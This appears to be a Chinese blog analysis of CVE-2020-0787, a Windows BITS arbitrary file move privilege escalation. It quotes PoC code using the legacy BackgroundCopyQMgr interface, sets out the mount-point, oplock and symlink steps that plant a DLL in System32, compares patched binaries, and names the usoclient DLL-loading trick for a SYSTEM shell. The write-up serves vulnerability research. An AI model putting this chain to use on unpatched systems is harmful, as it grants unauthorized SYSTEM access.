CVE-2020-0787分析

@lzeroyuee  January 9, 2021

简介

该漏洞为BITS服务任意文件移动漏洞,利用BITS没有正确的处理符号链接,而导致权限提升。

漏洞详情:Microsoft Vulnerability CVE-2020-0787

公开的Poc/Exp项目:BitsArbitraryFileMove

漏洞成因分析

Background Intelligent Transfer Service(BITS)后台智能传输服务,可从HTTP Web服务器和SMB文件共享中上传或下载文件。微软官方参考文档:Background Intelligent Transfer Service

BITS服务针对不同版本公开了几个COM对象,如下图:

1.png

其中Legacy Background Intelligent Transfer Control Class为旧版本的“控件类”BackgroundCopyQMgr,其CLSID为69ad4aee-51be-439b-a92c-86ae490e8b30

在Poc项目中,发现正是使用了BackgroundCopyQMgr,如下:

DWORD CBitsCom::PrepareJob(LPCWSTR pwszJobLocalFilename)
{
    HRESULT hRes;
    
    // 创建BackgroundCopyQMgr对象实例
    hRes = CoCreateInstance(__uuidof(BackgroundCopyQMgr), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IBackgroundCopyQMgr), (void**)&m_pBackgroundCopyQMgr);
    if (FAILED(hRes))
    {
        // Return Error...
    }

    // 获取Group
    OLECHAR* groupGuidStr;
    hRes = m_pBackgroundCopyQMgr->GetGroup(m_guidGroup, &m_pBackgroundCopyGroup);
    if (SUCCEEDED(hRes))
    {
        hRes = m_pBackgroundCopyGroup->CancelGroup();    // 取消Group
        if (FAILED(hRes))
        {
            // Return Error...
        }
    }

    // 创建Group
    hRes = m_pBackgroundCopyQMgr->CreateGroup(m_guidGroup, &m_pBackgroundCopyGroup);
    if (FAILED(hRes))
    {
        // Return Error...
    }

    // 创建任务
    OLECHAR* jobGuidStr;
    hRes = m_pBackgroundCopyGroup->CreateJob(m_guidJob, &m_pBackgroundCopyJob1);
    if (FAILED(hRes))
    {
        // Return Error...
    }

    // 添加文件到任务中
    FILESETINFO fileSetInfo;
    BSTR  bstrRemoteFile = SysAllocString(L"\\\\127.0.0.1\\C$\\Windows\\System32\\drivers\\etc\\hosts");
    BSTR  bstrLocalFile = SysAllocString(pwszJobLocalFilename);
    fileSetInfo.bstrRemoteFile = bstrRemoteFile;
    fileSetInfo.bstrLocalFile = bstrLocalFile;
    FILESETINFO* fileSetInfoArray = (FILESETINFO*)malloc(1 * sizeof(FILESETINFO));
    if (!fileSetInfoArray)
    {    
        // Return Error...
    }
    fileSetInfoArray[0] = fileSetInfo;
    hRes = m_pBackgroundCopyJob1->AddFiles(1, &fileSetInfoArray);
    if (FAILED(hRes))
    {
        // Return Error...
    }

    free(fileSetInfoArray);
    SysFreeString(bstrRemoteFile);
    SysFreeString(bstrLocalFile);

    return BITSCOM_ERR_SUCCESS;
}

此处可以发现,在使用旧版本BackgroundCopyQMgr类时,需要一个额外的操作即调用IBackgroundCopyQMgr::CreateGroup()IBackgroundCopyQMgr::GetGroup()获取一个Group后才能使用CreateJob功能,而在新版本中不需要这一步骤

然后在Poc中,有使用IBackgroundCopyQMgr::QueryNewJobInterface接口

DWORD CBitsCom::ResumeJob()
{
    HRESULT hRes;

    // --- Query new job interface --- 
    hRes = m_pBackgroundCopyGroup->QueryNewJobInterface(__uuidof(IBackgroundCopyJob), &m_pUnkNewJobInterface);
    if (FAILED(hRes))
    {
        // Return Error...
    }

    CComQIPtr<IBackgroundCopyJob> pBackgrounCopyJob(m_pUnkNewJobInterface);
    if (!pBackgrounCopyJob)
    {
        // Return Error...
    }

    // --- Resume job --- 
    hRes = pBackgrounCopyJob->Resume();
    if (FAILED(hRes))
    {
        // Return Error...
    }

    return BITSCOM_ERR_SUCCESS;
}

IBackgroundCopyQMgr::QueryNewJobInterface属于未公开接口,转到头文件qmgr.h中,可以发现另一个未公开接口IBackgroundCopyQMgr::SetNotificationPointer,函数原型如下:

virtual HRESULT STDMETHODCALLTYPE QueryNewJobInterface( 
/* [in] */ __RPC__in REFIID iid,
/* [iid_is][out] */ __RPC__deref_out_opt IUnknown **pUnk) = 0;

virtual HRESULT STDMETHODCALLTYPE SetNotificationPointer( 
/* [in] */ __RPC__in REFIID iid,
/* [in] */ __RPC__in_opt IUnknown *pUnk) = 0;

分析QueryNewJobInterface接口,其属于qmgr!COldGroupInterface::QueryNewJobInterface,此接口大致功能应该是获取一个新的Job接口

3.png

紧接着从CreateJob开始分析整个执行流程

IBackgroundCopyGroup::CreateJob()接口为qmgr!COldGroupInterface::CreateJob,其中有CFG,动态调试,直接调用的是qmgr!COldGroupInterface::CreateJobInternal方法:

4.png

qmgr!COldGroupInterface::CreateJobInternal中,最终会调用CJob::CheckClientAccess方法

5.png

而在CJob::CheckClientAccess方法中,主要检查用户Token,然后创建模拟用户,使用此Token,设置到线程Token上。之后返回到qmgr!COldGroupInterface::CreateJobInternal中调用CJob::GetOldJobExternal返回了一个新的job接口指针

6.png

对比qmgr!COldGroupInterface::QueryNewJobInterfaceqmgr!COldGroupInterface::CreateJob执行流程不难发现,在qmgr!COldGroupInterface::CreateJob执行过程中存在检查Token创建模拟用户的行为,而qmgr!COldGroupInterface::QueryNewJobInterface没有

在上述分析的基础上,对整个执行流程做个梳理:

1. 准备环境
  1.1 禁用wow64重定向
  1.2 创建目录%TEMP%\workspace\mountpoint\和%TEMP%\workspace\bait\目录
  1.3 将目录%TEMP%\workspace\mountpoint\挂载到%TEMP%\workspace\bait\上
  1.4 生成%TEMP%\workspace\Fakedll.dll
2. 创建BackgroundCopyQMgr实例,并生成一个Group,利用Group添加job,该任务将\\127.0.0.1\C$\Windows\System32\drivers\etc\hosts传输到%TEMP%\workspace\mountpoint\test.txt文件中
3. 查找%TEMP%\workspace\bait\BIT*.tmp文件,后面会使用,此文件应该是mountpoint目录下,mountpoint目录挂载到bait下就直接在bait下找,随后给此文件设置oplock用于同步
4. 调用QueryNewJobInterface得到一个新的job接口,然后恢复任务等待oplock解锁
5. oplock解锁后,取消原挂载点,创建新挂载点,将%TEMP%\workspace\mountpoint\挂载到\RPC Control
  5.1 创建符号链接:\RPC Control\BIT*.tmp -> %TEMP%\workspace\FakeDll.dll
                   \RPC Control\test.txt -> C:\Windows\System32\FakeDll.dll
  5.2 当BITS完成服务时,会将BIT*.tmp文件重命名为目标test.txt文件
综上,由于符号链接的原因,最终会将%TEMP%\workspace\FakeDll.dll移动到C:\Windows\System32\FakeDll.dll

7.png

但是,在实际监控中,只有最后对文件进行重命名时,会以System权限执行,其余均是在模拟用户权限下执行,如下:

2.png

我认为问题出在MoveFileExW调用链上

CJob::StaticOnTransferComplete
|- CJob::OnDownloadComplete
  |- CJob::FileComplete
    |- CFile::MoveTempFile
      |- MoveFileExW

于是对比了一下打补丁前后qmgr.dll的情况,发现有如下可疑之处:

CJob::FileComplete中,打完补丁后,该接口在调用CFile::MoveTempFile前有模拟用户的操作

8.png

9.png

之后修改POC,让其直接使用新版的IBackgroundCopyManager ,普通用户权限下无法写入system32目录,以管理员权限运行会有以下调用栈

00 000000fd`b297d918 00007ffb`e16fba8f qmgr!CFile::MoveTempFile
01 000000fd`b297d920 00007ffb`e16d520f qmgr!CJob::CommitTemporaryFiles+0x15f
02 000000fd`b297dac0 00007ffb`e16c36cd qmgr!CJob::Complete+0x16f
03 000000fd`b297dd00 00007ffb`e16c35ea qmgr!CJobExternal::CompleteInternal+0xc1
04 000000fd`b297dd80 00007ffc`03d66983 qmgr!CJobExternal::Complete+0x1a

qmgr!CJobExternal::CompleteInternal函数中会调用CJob::CheckClientAccess验证访问,对于权限足够的才会调用后续的操作

10.png

故此漏洞的成因应该就是在旧接口IBackgroundCopyQMgr上没有模拟用户权限验证

获取System权限的shell

在win10中,存在一个Update Session Orchestrator服务,该服务与windows更新相关,可以以普通用户权限使用COM与其通信

同时在win10上有个usoclient.exe工具,通过该工具执行usoclient StartScan命令时,此服务会尝试加载windowscoredeviceinfo.dll这个缺省的DLL,并调用其中的QueryDeviceInformation函数

usodllloader-part1

usodllloader-part2

参考

CVE-2020-0787 - Windows BITS - An EoP Bug Hidden in an Undocumented RPC Function

An introduction to privileged file operation abuse on Windows


添加新评论